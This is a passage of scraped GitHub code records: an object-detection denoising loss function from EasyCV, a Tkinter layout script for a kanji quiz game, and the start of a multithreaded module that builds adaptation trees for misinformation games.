tgt_loss_boxes(\n self,\n src_boxes,\n tgt_boxes,\n num_tgt,\n ):\n \"\"\"Compute the losses related to the bounding boxes, the L1 regression loss and the GIoU loss\n targets dicts must contain the key \"boxes\" containing a tensor of dim [nb_target_boxes, 4]\n The target boxes are expected in format (center_x, center_y, w, h), normalized by the image size.\n \"\"\"\n if len(tgt_boxes) == 0:\n return {\n 'loss_bbox': torch.as_tensor(0.).to('cuda'),\n 'loss_giou': torch.as_tensor(0.).to('cuda'),\n }\n\n loss_bbox = F.l1_loss(src_boxes, tgt_boxes, reduction='none')\n\n losses = {}\n losses['loss_bbox'] = loss_bbox.sum() / num_tgt\n\n loss_giou = 1 - torch.diag(\n generalized_box_iou(\n box_cxcywh_to_xyxy(src_boxes), box_cxcywh_to_xyxy(tgt_boxes)))\n losses['loss_giou'] = loss_giou.sum() / num_tgt\n return losses\n\n def tgt_loss_labels(self,\n src_logits_,\n tgt_labels_,\n num_tgt,\n focal_alpha,\n log=False):\n \"\"\"Classification loss (NLL)\n targets dicts must contain the key \"labels\" containing a tensor of dim [nb_target_boxes]\n \"\"\"\n if len(tgt_labels_) == 0:\n return {\n 'loss_ce': torch.as_tensor(0.).to('cuda'),\n 'class_error': torch.as_tensor(0.).to('cuda'),\n }\n\n src_logits, tgt_labels = src_logits_.unsqueeze(\n 0), tgt_labels_.unsqueeze(0)\n\n target_classes_onehot = torch.zeros([\n src_logits.shape[0], src_logits.shape[1], src_logits.shape[2] + 1\n ],\n dtype=src_logits.dtype,\n layout=src_logits.layout,\n device=src_logits.device)\n target_classes_onehot.scatter_(2, tgt_labels.unsqueeze(-1), 1)\n\n target_classes_onehot = target_classes_onehot[:, :, :-1]\n loss_ce = py_sigmoid_focal_loss(\n src_logits,\n target_classes_onehot,\n alpha=focal_alpha,\n gamma=2,\n reduction='none').mean(1).sum() / num_tgt * src_logits.shape[1]\n\n losses = {'loss_ce': loss_ce}\n if log:\n losses['class_error'] = 100 - accuracy(src_logits_, tgt_labels_)[0]\n return losses\n\n def forward(self, mask_dict, aux_num):\n \"\"\"\n compute dn loss in criterion\n Args:\n mask_dict: a dict for dn information\n training: training or inference flag\n aux_num: aux loss number\n \"\"\"\n losses = {}\n if self.training and 'output_known_lbs_bboxes' in mask_dict:\n known_labels, known_bboxs, output_known_class, output_known_coord, num_tgt = self.prepare_for_loss(\n mask_dict)\n l_dict = self.tgt_loss_labels(output_known_class[-1], known_labels,\n num_tgt, 0.25)\n l_dict = {\n k + '_dn':\n v * (self.weight_dict[k] if k in self.weight_dict else 1.0)\n for k, v in l_dict.items()\n }\n losses.update(l_dict)\n l_dict = self.tgt_loss_boxes(output_known_coord[-1], known_bboxs,\n num_tgt)\n l_dict = {\n k + '_dn':\n v * (self.weight_dict[k] if k in self.weight_dict else 1.0)\n for k, v in l_dict.items()\n }\n losses.update(l_dict)\n else:\n losses['loss_bbox_dn'] = torch.as_tensor(0.).to('cuda')\n losses['loss_giou_dn'] = torch.as_tensor(0.).to('cuda')\n losses['loss_ce_dn'] = torch.as_tensor(0.).to('cuda')\n\n if aux_num:\n for i in range(aux_num):\n # dn aux loss\n if self.training and 'output_known_lbs_bboxes' in mask_dict:\n l_dict = self.tgt_loss_labels(output_known_class[i],\n known_labels, num_tgt, 0.25)\n l_dict = {\n k + f'_dn_{i}': v *\n (self.weight_dict[k] if k in self.weight_dict else 1.0)\n for k, v in l_dict.items()\n }\n losses.update(l_dict)\n l_dict = self.tgt_loss_boxes(output_known_coord[i],\n known_bboxs, num_tgt)\n l_dict = {\n k + f'_dn_{i}': v *\n (self.weight_dict[k] if k in self.weight_dict else 1.0)\n for k, v in l_dict.items()\n }\n losses.update(l_dict)\n else:\n l_dict = dict()\n l_dict['loss_bbox_dn'] = torch.as_tensor(0.).to('cuda')\n l_dict['loss_giou_dn'] = torch.as_tensor(0.).to('cuda')\n l_dict['loss_ce_dn'] = torch.as_tensor(0.).to('cuda')\n l_dict = {\n k + f'_{i}': v *\n (self.weight_dict[k] if k in self.weight_dict else 1.0)\n for k, v in l_dict.items()\n }\n losses.update(l_dict)\n return losses\n","repo_name":"alibaba/EasyCV","sub_path":"easycv/models/loss/set_criterion/set_criterion.py","file_name":"set_criterion.py","file_ext":"py","file_size_in_byte":25959,"program_lang":"python","lang":"en","doc_type":"code","stars":1565,"dataset":"github-code","pt":"60"} +{"seq_id":"30124477647","text":"# import unittest\n# import menu\n#\n# '''\n# What menu is capable of:\n#\n# '''\n# class TestMenu(unittest.TestCase):\n\nfrom tkinter import *\nfrom tkinter import ttk\n\nroot = Tk()\nroot.geometry('1600x1200')\n\nframe0 = Frame(root)\nframe0.grid(row=1, column=0, sticky=W)\n\nframe1 = Frame(root, bg='green')\nframe1.grid(row=1, column=0, sticky=NS)\n\nframe2 = Frame(root)\nframe2.grid(row=2, column=0, sticky=NS)\n\nframe3 = Frame(root)\nframe3.grid(row=1, column=0, sticky=E)\n\n# frameN = Frame(root)\n# frameN.grid(row=3, column=0, sticky=NS)\n\nlbl_suggested = ttk.Label(root, text=\"Press 'Get kanji' to start\", width=20, font=('Arial', 50))\nlbl_suggested.configure(anchor='center')\nlbl_suggested.grid(row=0, column=0, sticky=\"we\", ipady=50, ipadx=50)\n\n\n\nlbl_hist = ttk.Label(frame0, text=\"History:\")\nlbl_hist.grid(row=0, column=0)\n\nlist_history = Text(frame0, width=15)\nlist_history.grid(row=1, column=0)\n\nlbl_reply = ttk.Label(frame1, text=\"\")\nlbl_reply.grid(row=0, column=0)\n\nlbl_reply = ttk.Label(frame1, text=\"Answer:\")\nlbl_reply.grid(row=1, column=0, sticky=W)\n\nent_answer = ttk.Entry(frame1, font=50)\nent_answer.grid(row=1, column=0, sticky=E)\n\nlbl_score = ttk.Label(frame1, text=\"Score\")\nlbl_score.configure(anchor='center')\nlbl_score.grid(row=2, column=0)\n\nbtn_submit = ttk.Button(frame1, text=\"Submit\")\nbtn_submit.grid(row=2, column=1)\n\nbtn_rand_kanji = ttk.Button(frame1, text=\"Get kanji\")\nbtn_rand_kanji.grid(row=1, column=2)\n\nbtn_curr_check = ttk.Button(frame1, text=\"Search: Current kanji\")\nbtn_curr_check.grid(row=2, column=2)\n\n\n# lbl_jlpt_from = ttk.Label(frame2, text=\"JLPT level from:\")\n# lbl_jlpt_from.grid(row=6, column=0)\n#\n# ent_jlpt_from = ttk.Entry(frame2, font=50)\n# ent_jlpt_from.grid(row=6, column=0)\n# ent_jlpt_from.focus()\n#\n# lbl_jlpt_to = ttk.Label(frame2, text=\"to:\")\n# lbl_jlpt_to.grid(row=7, column=0, sticky=\"w\")\n#\n# ent_jlpt_to = ttk.Entry(frame2, font=50)\n# ent_jlpt_to.grid(row=7, column=0)\n#\n# btn_submit_jlpt = ttk.Button(frame2, text=\"Submit\")\n# btn_submit_jlpt.grid(row=8, column=0)\n#\n#\n#\n\n# lbl_log = ttk.Label(frame3, text=\"Updates:\")\n# lbl_log.grid(row=0, column=0, padx=200)\n#\n# list_log = Text(frame3)\n# list_log.grid(row=1, column=0, padx=200)\n\n\n\n\n\n# btn_submit = Button(root, text=\"Submit\", width=30, font=('Arial', 50))\n# btn_submit.configure(anchor='center')\n# btn_submit.grid(row=0, column=0)\n#\n# btn_submit2 = Button(frame2, text=\"frame2\", width=30)\n# btn_submit2.grid(row=0, column=0)\n#\n# btn_submit3 = Button(frame3, text=\"frame3\", width=50)\n# btn_submit3.grid(row=0, column=0)\n#\n# btn_submit1 = Button(frame1, text=\"frame1\", width=30)\n# btn_submit1.grid(row=1, column=1)\n#\n# btn_submit0 = Button(frame0, text=\"frame0\", width=50)\n# btn_submit0.grid(row=0, column=0)\n#\n# btn_submitN = Button(frameN, text=\"frameN\", width=30)\n# btn_submitN.grid(row=0, column=0)\n\nroot.mainloop()","repo_name":"daemoNSi/JapaneseDictGame","sub_path":"test_menu.py","file_name":"test_menu.py","file_ext":"py","file_size_in_byte":2810,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"33893409675","text":"#####################################################################\n# adaptation_procedure.py\n# ------------------------------------------------------------------\n# This module encodes the algorithm of the adaptation procedure. The\n# \"main\" class AdaptationProcedure constructs the Adaptation Tree and\n# computes the SMEs of a misinformation game.\n#\n# Examples:\n#\t1. Initialize from file:\n#\n#\t| import adaptation_procedure as ap\n#\t|\n#\t| f = open(\"../input_data/2x2_mg_example.mg\", r)\n#\t| file_fmt = f.read()\n#\t| f.close()\n#\t|\n#\t| adapt_proc = ap.AdaptationProcedure()\n#\t| adapt_proc.root_from_file(file_fmt)\n#\t|\n#\t| adapt_proc.adaptation_procedure()\n#\n#\n#\t2. Randomly initialize\n#\n#\t| import adaptation_procedure as ap\n#\t|\n#\t| num_players = 2\n#\t| strategies = 2\n#\t| max_util = 10\n#\t|\n#\t| adapt_proc = ap.AdaptationProcedure()\n#\t| adapt_proc.root_random(num_players, strategies, max_util)\n#\t|\n#\t| adapt_proc.adaptation_procedure()\n#\n# The method adaptation_procedure takes two boolean arguments, quiet,\n# and fast_mode. By default, both of them are False. The quiet argument\n# regards some output messages. For distinction between \"slow\" and \"fast\"\n# mode see the SETN 2022 submitted paper (included in the projects directory).\n# The *fast* mode is recommended, while it implements an elaborate algorithm.\n# The slow mode, is the *naive* approach.\n#\n# To use the fast mode replace the call to the adaptation_procedure() method\n# with the following:\n#\n#\t| quiet = False\n#\t| fast_mode = True\n#\t| adapt_proc.adaptation_procedure(quiet, fast_mode)\n#\n#\n# Classes:\n#\n#\t1) AdaptationNode:\t\tImplements a node of the Adaptation Procedure.\n#\t\t\t\t\t\t\tContains a \"pointer\" to a misinformation game.\n#\t\t\t\t\t\t\tBecause a MG may appear multiple times in a\n#\t\t\t\t\t\t\tprocedure, we keep a pointer, in order to avoid\n#\t\t\t\t\t\t\tunnecessary computations.\n#\n#\t2) AdaptationProcedure:\tImplements the Algorithm of the Adaptation\n#\t\t\t\t\t\t\tProcedure, which is a variant of the BFS.\n#\t\t\t\t\t\t\tAlso, has a dictionary, mg_pool as a data\n#\t\t\t\t\t\t\tmember. This dictionary corresponds the\n#\t\t\t\t\t\t\tsets of position vectors that have been\n#\t\t\t\t\t\t\tupdated in a misinformation game to a\n#\t\t\t\t\t\t\tmisinformation game. The class AdaptationNode\n#\t\t\t\t\t\t\tcontains labels to the key values of this\n#\t\t\t\t\t\t\tstructure.\n#\n# author: Merkouris Papamichail\n# email: mercoyris@ics.forth.gr\n# institute: ICS, FORTH\n# last update: 25/10/2022\n#####################################################################\n\n#############\n# Libraries #\n#############\n\n# custom libraries\nfrom misinformation_game import MisinformationGame\nimport clingo\nimport gambit\nimport auxiliary_functions as ax\n\n# python libraries\nimport itertools\t# itertools.product for preprocessing\nimport re \t\t\t# regex\nimport math \t\t# prod\nimport time \t\t# process_time\nimport sys\nfrom os import path\t# is dir\nimport pprint\nimport threading\n\n# 3rd party libraries\n# NOTE: Simple, lightweight and extensible Tree data structure.\n# See Doc: https://anytree.readthedocs.io/en/latest/\nfrom anytree import NodeMixin, RenderTree\n\n#############\n# Constants #\n#############\n\nchanged_clingo_predicate = \"changed\"\nunchanged_clingo_predicate = \"unchanged\"\n\n\n\n####################\n# Helper Functions #\n####################\n\n## Preprocessing\n###########################################################\n# This function establishes the a priori knowledge of\n# the agents in an MG. Namely, the position vectors, of\n# some MG, such that, when applied the update operation\n# on MG at the position designated by pos_vec, no change\n# occurs.\n###########################################################\ndef preprocess_mg(mg, strategies):\n\tnum_players = len(strategies)\n\n\tunique_key = []\n\tfor pos_vec in itertools.product(*[strategies] * num_players):\n\t\tclingo_pos_vec = ax.pos_vec2clingo(pos_vec)\n\t\tanswer_set = clingo.addaptation_step(mg.get_clingo_format(), clingo_pos_vec)\n\n\t\tif unchanged_clingo_predicate in answer_set:\n\t\t\tunique_key.append(pos_vec)\n\n\treturn ax.path_to_set(unique_key)\n\n###########\n# Classes #\n###########\n\nclass AdaptationNode(NodeMixin):\n\n\tdef __init__(self, node_id, nme_path, unique_key, MG, parent=None, changed_from_parent=True, new_mg=True):\n\t\tassert MG != None\n\n\t\t# some bookkeeping\n\t\tself.node_id = node_id\n\n\t\t# initialize anytree node\n\t\tNodeMixin.__init__(self)\n\t\tself.parent = parent # set parent, if any\n\t\tself.name = \"N_\" + node_id + \", MG_\" + MG.get_game_id() + \", (\" + str(MG.get_knowledge_percentage()) + \"%)\" # set name to be printed, when\n\t\t# we render the tree\n\n\t\t# \"pointer\" to a misinformation game\n\t\tself.misinformation_game = MG\n\n\t\t# We keep the path of NMEs that got us to\n\t\t# this node in the adaptation tree, starting\n\t\t# from the root.\n\t\tself.nme_path = nme_path\n\n\t\t# We create a set from the path of NMEs.\n\t\t# We encode the set as tuple, i.e.\n\t\t# we delete duplicates and sort.\n\t\t# The unique key is the \"key\" of the\n\t\t# mis_game_pool dictionary\n\t\t# (see below class AdaptationProcedure)\n\t\tself.unique_key = unique_key\n\n\t\t## State\n\t\t# We keep a boolean variable, that's true\n\t\t# iff this node is different from it's\n\t\t# parent.\n\t\t# By default the root is different.\n\t\tself.changed_from_parent = changed_from_parent\n\n\t\t# is a new MG, by default the root is\n\t\tself.new_mg = new_mg\n\n\t##########\n\t# String #\n\t##########\n\n\tdef __str__(self):\n\t\thline = \"-\" * 40\n\t\treturn \"| Node Name: \" + self.name + \"\\n\" \\\n\t\t\t + \"| Unique MG id: \" + str(self.misinformation_game.game_id) + \"\\n\" \\\n\t\t\t + \"| Previous NMEs Path: \" + str(self.nme_path) + \"\\n\" \\\n\t\t\t + \"| Unique Key: \" + str(self.unique_key) + \"\\n\" \\\n\t\t\t + \"| NMEs: \" + str(self.misinformation_game.nme.keys()) + \"\\n\"\n\n\t#############\n\t# Accessors #\n\t#############\n\n\tdef is_changed_from_father(self):\n\t\treturn self.changed_from_parent\n\n\tdef is_new_mg(self):\n\t\treturn self.new_mg\n\n\tdef get_node_id(self):\n\t\treturn self.node_id\n\n\tdef get_mg_id(self):\n\t\treturn self.misinformation_game.get_game_id()\n\n\tdef get_mg_pointer(self):\n\t\treturn self.misinformation_game\n\n\tdef get_nme_path(self):\n\t\treturn self.nme_path\n\n\tdef get_unique_key(self):\n\t\treturn self.unique_key\n\n\tdef get_num_players(self):\n\t\treturn self.misinformation_game.get_num_players()\n\n\tdef get_strategies(self):\n\t\treturn self.misinformation_game.get_strategies()\n\n\tdef get_clingo_description(self):\n\t\treturn self.misinformation_game.get_clingo_format()\n\n\tdef get_num_nmes(self):\n\t\treturn self.misinformation_game.get_num_nmes()\n\n\tdef get_nmes(self):\n\t\treturn self.misinformation_game.get_nme_list()\n\n\tdef get_nme_dict(self):\n\t\treturn self.misinformation_game.get_nme_dict()\n\n\tdef get_clingo_nme_dict(self):\n\t\treturn self.misinformation_game.get_nme_clingo()\n\n\tdef insert_sme(self, sme):\n\t\tself.misinformation_game.insert_sme(sme)\n\n\n#####################################################################\n# Class AdaptationProcedure\n# ------------------------------------------------------------------\n# Data Members:\n#\t1. mis_game_pool:\tA dictionary of the form\n#\t\t\t\t\t\t\tdict: (nme_1, ...,nme_k) --> MG\n#\t\t\t\t\t\tObserve that the nmes are strategy profiles,\n#\t\t\t\t\t\ti.e.: positions in the original game. We keep\n#\t\t\t\t\t\tthe positions that changed from the original\n#\t\t\t\t\t\tgame.\n#\t\t\t\t\t\tWe force the tuple of tuples (nme_1, ...,nme_k)\n#\t\t\t\t\t\tto be a set, i.e. no duplicates.\n#\n#####################################################################\nclass AdaptationProcedure:\n\n\t##################\n\t# Initialization #\n\t##################\n\n\tdef __init__(\n\t\t\tself,\n\t\t\tgambit_pac,\n\t\t\tdebugging,\n\t\t\tdomain,\n\t\t\tnum_mult_threads_traversal = 4,\n\t\t\tquiet = False,\n\t\t\tfast_mode = False\n\t):\n\n\t\t# Prelimineries: Fast mode\n\t\tself.fast_mode_on = fast_mode\n\n\t\t# Prelimineries: Quiet\n\t\tself.quiet = quiet\n\n\t\t# Prelimineries: GAMBIT\n\t\tself.gambit_pac = gambit_pac\n\n\t\t# Prelimineries: Debugging\n\t\tself.debugging = debugging\n\n\t\t# Prelimineries: Domain\n\t\tself.domain = domain\n\t\t\n\n\t\t## A pool of Misinformation Games\n\t\tself.mis_game_pool = dict()\n\t\tself.uniq_mg_counter = 0\n\t\t## Lock for mg_pool\n\t\tself.mis_game_pool_lock = threading.Lock()\n\n\n\t\t## Initial set of nodes\n\t\tself.queue = []\n\t\t## Lock for queue\n\t\tself.queue_lock\t\t= threading.Lock()\n\t\tself.queue_empty\t= threading.Condition(self.queue_lock)\n\n\t\t## List of leaves\n\t\tself.leaves = []\n\t\t## Lock for leaves\n\t\tself.leaves_lock = threading.Lock()\n\n\t\t## Terminal Set,\n\t\t## set of the stable games\n\t\tself.terminal_set = set()\n\t\t## Lock for Terminal Set\n\t\tself.terminal_set_lock = threading.Lock()\n\n\t\t## Stable misinformed equilibria\n\t\tself.smes = set()\n\t\t## Lock for SMEs\n\t\tself.smes_lock = threading.Lock()\n\n\t\t# the root of the adaptation procedure\n\t\t# initialized to None at the beginning\n\t\tself.root = None\n\n\t\t## We keep a list of the nodes\n\t\tself.node_list = []\n\t\t## Node List Lock\n\t\tself.node_list_lock = threading.Lock()\n\n\t\t## Statistics\n\t\tself.cpu_time\t= time.process_time() # CPU time (not including GAMBIT or CLINGO)\n\t\tself.total_time = time.time() # total time (including the subprocesses)\n\t\tself.max_knowledge_percentage = None\n\t\tself.max_knowledge_percentage_mg_id = None\n\n\n\n\t\t# states\n\t\tself.root_initialized = False\n\t\tself.adaptation_procedure_completed = False\n\n\t\t##################\n\t\t# Multithreading #\n\t\t##################\n\t\tself.tasks\t\t\t= 0\n\t\tself.tasks_lock\t\t= threading.Lock()\n\t\tself.pending_tasks\t= threading.Condition(self.tasks_lock)\n\n\t\tself.traversal_threading_operation_on = True\n\t\tself.num_mult_threads_traversal = num_mult_threads_traversal\n\n\t\tassert num_mult_threads_traversal >= 1\n\t\tself.workers = []\n\t\tfor i in range(num_mult_threads_traversal):\n\t\t\tself.workers.append(threading.Thread(target=self.traversal_thread_operate))\n\n\t\n\t##################\n\t# Multithreading #\n\t##################\n\t\n\tdef traversal_thread_operate(self):\n\n\t\twhile self.traversal_threading_operation_on:\n\n\t\t\t###########################\n\t\t\t# Acquire Adaptation Node #\n\t\t\t###########################\n\n\n\t\t\t## Acquire the lock\n\t\t\tself.queue_lock.acquire()\n\n\n\t\t\t## If the queue is empty, wait\n\t\t\twhile self.queue == [] and self.traversal_threading_operation_on:\n\t\t\t\tself.tasks_lock.acquire()\n\t\t\t\tself.pending_tasks.notify_all()\n\t\t\t\tself.tasks_lock.release()\n\n\t\t\t\tself.queue_empty.wait()\n\n\t\t\t## If you woke from waiting, with an empty queue return\n\t\t\tif self.queue == [] and not self.traversal_threading_operation_on:\n\t\t\t\tself.queue_lock.release()\n\t\t\t\treturn\n\n\t\t\t## Get an Adaptation Node from the queue\n\t\t\tparent = self.queue.pop()\n\n\n\t\t\t## Release the lock\n\t\t\tself.queue_lock.release()\n\n\n\t\t\t#########################\n\t\t\t# Do an Adaptation Step #\n\t\t\t#########################\n\n\t\t\tself._adaptation_step(parent)\n\n\t\t\tif not self.quiet:\n\t\t\t\tprint(\"# Progress Uniq MGs: \" + str(self.uniq_mg_counter) + \"/\" + str(self.max_it), end=\"\\r\")\n\n\t\t\t#############################\n\t\t\t# Decrease the task counter #\n\t\t\t#############################\n\t\t\tself.tasks_lock.acquire()\n\n\t\t\tassert self.tasks > 0\n\t\t\tself.tasks -= 1\n\n\t\t\tif self.tasks == 0: self.pending_tasks.notify_all()\n\n\t\t\tself.tasks_lock.release()\n\n\tdef wait_for_results(self):\n\n\t\tself.tasks_lock.acquire()\n\t\twhile self.tasks > 0:\n\t\t\tself.pending_tasks.wait()\n\t\tself.tasks_lock.release()\n\t\t\n\t\tself.adaptation_procedure_completed = True\n\n\n\tdef turn_off(self):\n\n\t\tself.traversal_threading_operation_on = False\n\n\t\tself.queue_lock.acquire()\n\t\tself.queue_empty.notify_all()\n\t\tself.queue_lock.release()\n\n\t\ttotal_end_t = time.time()\n\t\tcpu_end_t = time.process_time()\n\t\tself.total_time = total_end_t - self.total_time\n\t\tself.cpu_time = cpu_end_t - self.cpu_time\n\n\t\n\tdef __del__(self):\n\t\tfor i in range(self.num_mult_threads_traversal):\n\t\t\tself.workers[i].join()\n\n\t\n\n\t##############################\n\t# Print & String Convertions #\n\t##############################\n\n\tdef print_smes(self):\n\t\tassert self.adaptation_procedure_completed == True\n\n\t\tpprint.pprint(self.smes)\n\t\n\tdef str_smes(self):\n\t\tassert self.adaptation_procedure_completed == True\n\t\treturn pprint.pformat(self.smes)\n\n\tdef print_tree(self):\n\t\tassert self.adaptation_procedure_completed == True\n\n\t\tfor pre, _, node in RenderTree(self.root):\n\t\t\tprint(\"%s%s\" % (pre, node.name))\n\n\tdef str_tree(self):\n\t\tassert self.adaptation_procedure_completed == True\n\n\t\toutput = \"\"\n\t\tfor pre, _, node in RenderTree(self.root):\n\t\t\toutput += \"%s%s\" % (pre, node.name) + \"\\n\"\n\n\t\treturn output\n\n\tdef print_root(self):\n\n\t\tprint(self.root.misinformation_game.export())\n\t\tprint(\"\\n\")\n\n\tdef root_export(self):\n\t\treturn self.root.misinformation_game.export()\n\n\tdef print_nodes(self):\n\t\tassert self.adaptation_procedure_completed == True\n\n\t\tfor node in self.node_list:\n\t\t\tprint(node)\n\t\n\tdef str_nodes(self):\n\t\tassert self.adaptation_procedure_completed == True\n\t\t\n\t\toutput = \"\"\n\t\tfor node in self.node_list: output += str(node) + \"\\n\"\n\t\t\n\t\treturn output\n\t\n\n\tdef print_leaves(self):\n\t\tassert self.adaptation_procedure_completed == True\n\n\t\tfor leaf in self.leaves:\n\t\t\tprint(leaf)\n\n\tdef print_stable_set(self):\n\t\tassert self.adaptation_procedure_completed == True\n\n\t\tfor s in self.terminal_set:\n\t\t\tprint(\"MG_\" + self.mis_game_pool[s].get_game_id() + \": \" + str(s))\n\n\tdef print_mg_pool(self):\n\t\tassert self.adaptation_procedure_completed == True\n\n\t\tfor key in self.mis_game_pool.keys():\n\t\t\tprint(self.mis_game_pool[key])\n\t\t\tprint(\"| Unique Key: \" + str(key) + \"\\n\")\n\t\n\tdef str_mg_pool(self):\n\t\tassert self.adaptation_procedure_completed == True\n\t\t\n\t\toutput = \"\"\n\t\tfor key in self.mis_game_pool.keys():\n\t\t\toutput += str(self.mis_game_pool[key])\n\t\t\toutput += \"| Unique Key: \" + str(key) + \"\\n\"\n\t\t\n\t\treturn output\n\n\t# Given a path to directory\n\t# saves each unique MG as a .mg file\n\t# under the given directory.\n\tdef export_mg_pool(self, mg_dir_path):\n\t\tassert self.adaptation_procedure_completed == True\n\t\tassert path.isdir(mg_dir_path)\n\n\t\t## this line will cause trouble in Windows\n\t\tif mg_dir_path[-1] != \"/\": mg_dir_path += \"/\"\n\n\t\tfor MG in self.mis_game_pool.values():\n\t\t\tmg_file_path = mg_dir_path + \"uniq_mg\" + MG.get_game_id() + \".mg\"\n\t\t\tf = open(mg_file_path, \"w\")\n\t\t\tf.write(MG.export())\n\t\t\tf.close()\n\n\t# Return a loong string of all unique MG files\n\t# useful for jupyter notebook and presentation\n\t# purposes\n\tdef str_export_mg_pool(self):\n\t\tassert self.adaptation_procedure_completed == True\n\t\toutput = \"\"\n\n\t\tfor MG in self.mis_game_pool.values():\n\t\t\toutput += MG.export()\n\t\t\toutput += \"\\n\\n\"\n\n\t\treturn output\n\t\n\tdef list_export_mg_pool(self):\n\t\tassert self.adaptation_procedure_completed == True\n\t\t\n\t\toutput = []\n\t\tfor MG in self.mis_game_pool.values(): output.append(MG.export() + \"\\n\\n\")\n\t\t\n\t\treturn output\n\n\tdef str_export_mg_by_key(self, unique_key):\n\t\tassert self.adaptation_procedure_completed == True\n\t\tassert unique_key in self.mis_game_pool.keys()\n\n\t\treturn self.mis_game_pool[unique_key].export()\n\n\t# Given a path to directory\n\t# saves each unique MG as a .mg file\n\t# under the given directory.\n\tdef export_terminal_set(self, ss_dir_path):\n\t\tassert self.adaptation_procedure_completed == True\n\t\tassert path.isdir(ss_dir_path)\n\n\t\t## this line will cause trouble in Windows\n\t\tif ss_dir_path[-1] != \"/\": ss_dir_path += \"/\"\n\n\t\tfor unique_key in self.terminal_set:\n\t\t\tMG = self.mis_game_pool[unique_key]\n\t\t\tss_file_path = ss_dir_path + \"stable_mg\" + MG.get_game_id() + \".mg\"\n\t\t\tf = open(ss_file_path, \"w\")\n\t\t\tf.write(\"# Unique Key: \" + str(unique_key) + \"\\n\")\n\t\t\tf.write(MG.export())\n\t\t\tf.close()\n\n\t# Return a loong string of all stable MG files\n\t# useful for jupyter notebook and presentation\n\t# purposes\n\tdef str_export_terminal_set(self):\n\t\tassert self.adaptation_procedure_completed == True\n\t\toutput = \"\"\n\n\t\tfor unique_key in self.terminal_set:\n\t\t\tMG = self.mis_game_pool[unique_key]\n\t\t\toutput += \"# Unique Key: \" + str(unique_key) + \"\\n\"\n\t\t\toutput += MG.export()\n\t\t\toutput += \"\\n\\n\"\n\n\t\treturn output\n\n\tdef print_stats(self):\n\t\tassert self.adaptation_procedure_completed == True\n\n\t\tprint(\"+\" + 39 * \"-\")\n\t\tprint(\"| Number of players: \" + str(self.root.get_num_players()))\n\t\tprint(\"| Strategies Vector: \" + str(self.root.get_strategies()))\n\n\t\tprint(\"+\" + \"-\" * 39)\n\t\tprint(\"| NE Method: \" + self.gambit_pac.get_default_method_name())\n\t\tprint(\"| Total: \" + str(self.total_time) + \"(s)\")\n\t\tprint(\"| CPU time: \" + str(self.cpu_time) + \"(s)\")\n\t\tprint(\"| Number of nodes: \" + str(len(self.node_list)))\n\t\tprint(\"| Number of unique MGs: \" + str(len(self.mis_game_pool.items())))\n\t\tprint(\"| Number of leaves: \" + str(len(self.leaves)))\n\t\tprint(\"| Number of Unique Terminal Games: \" + str(len(self.terminal_set)))\n\t\tprint(\"| Number of SMEs: \" + str(len(self.smes)))\n\t\tprint(\"+\" + 39 * \"-\")\n\n\t#############\n\t# Accessors #\n\t#############\n\t\n\tdef get_is_adaptation_concluded(self):\n\t\treturn self.adaptation_procedure_completed\n\t\n\tdef get_total_mgs(self):\n\t\treturn self.max_it\n\t\n\tdef get_progress_computed_mgs(self):\n\t\treturn self.uniq_mg_counter\n\n\tdef get_num_players(self):\n\t\tassert self.root_initialized == True\n\n\t\treturn self.root.get_num_players()\n\n\tdef get_strategies(self):\n\t\tassert self.root_initialized == True\n\n\t\treturn self.root.get_strategies()\n\n\tdef get_stats(self):\n\t\tassert self.adaptation_procedure_completed == True\n\n\t\treturn [self.root.get_num_players(), # number of players\n\t\t\t\t# math.prod(self.root.get_strategies()),\t\t# number of strategy profiles\n\t\t\t\tself.root.get_strategies(),\n\t\t\t\tself.gambit_pac.get_default_method_name(), # Method's Name\n\t\t\t\tself.total_time, # total time\n\t\t\t\tself.cpu_time, # cpu time\n\t\t\t\tlen(self.node_list), # number of nodes\n\t\t\t\tlen(self.mis_game_pool.items()), # number of unique misinformation games\n\t\t\t\tlen(self.leaves), # number of leaves\n\t\t\t\tlen(self.terminal_set), # number of terminal set, aka stable set, aka uniq leaf mis. games\n\t\t\t\tlen(self.smes)] # number of smes\n\t\n\tdef get_max_knowledge(self):\n\t\tif self.max_knowledge_percentage is None:\n\t\t\tself.find_gretest_knowledge()\n\t\t\n\t\treturn self.max_knowledge_percentage, self.max_knowledge_percentage_mg_id\n\n\t##############\n\t# Predicates #\n\t##############\n\n\tdef mg_already_computed(self, new_unique_key):\n\t\tself.mis_game_pool_lock.acquire()\n\t\tis_already_computed = new_unique_key in self.mis_game_pool.keys()\n\n\t\t## If the MG is NOT already computed, then *this* thread will\n\t\t## proceed to compute the new MG. Therefore, the lock will\n\t\t## be released in _new_mis_game() method. (See also, the related\n\t\t## comment there).\n\t\tif is_already_computed: self.mis_game_pool_lock.release()\n\n\t\treturn is_already_computed\n\n\t###########\n\t# Methods #\n\t###########\n\t## Generate Root form File\n\tdef root_from_file(self, file_fmt):\n\t\tassert self.root_initialized == False\n\n\t\t######################\n\t\t# Filter the results #\n\t\t######################\n\t\tlines = file_fmt.split(\"\\n\") # Split the file in lines.\n\n\t\tlines = list(filter(lambda line: line != \"\", lines)) # Discard the empty lines, if any.\n\t\tlines = list(\n\t\t\tfilter(lambda line: re.search(\"^#\", line) == None, lines)) # Discard comment lines starting with \"#\".\n\n\t\t#####################\n\t\t# Retrieve the info #\n\t\t#####################\n\t\tnum_players = int(ax.head(lines)) # The first line should be the number of players.\n\t\tstrat_tokens = ax.head(lines).split(\" \") # Split tokens\n\t\tstrat_tokens = list(filter(lambda line: line != \"\", strat_tokens)) # Discard empty tokens\n\t\tstrategies = list(map(int, strat_tokens)) # The 2nd line describes the strategies vector.\n\n\t\t## check the GAMBIT method\n\t\t# Check whether the designated method supports num_player-player games\n\t\tassert num_players <= gambit.method_max_players_list[self.gambit_pac.get_default_method_val()], \\\n\t\t\t\"Error: The designated NE computation method does NOT support \" + str(num_players) + \"-player games!\"\n\n\t\t#####################\n\t\t# Initialise Domain #\n\t\t#####################\n\t\tself.domain.initialise(num_players, strategies)\n\n\n\t\t#####################\n\t\t# Initialize the MG #\n\t\t#####################\n\t\tMG = MisinformationGame(self.gambit_pac, self.debugging, self.domain,\n\t\t\t\t\t\t\t\tstr(self.uniq_mg_counter), num_players,\n\t\t\t\t\t\t\t\tstrategies) # Initialize the MG, num_players & strategies vector.\n\t\tself.uniq_mg_counter += 1\n\n\t\tnum_SPs = math.prod(strategies) # Compute the number of the stratetgy profiles.\n\n\t\tfor player in range(0, MG.get_num_players() + 1): # Pass the related lines to the NFG of he root 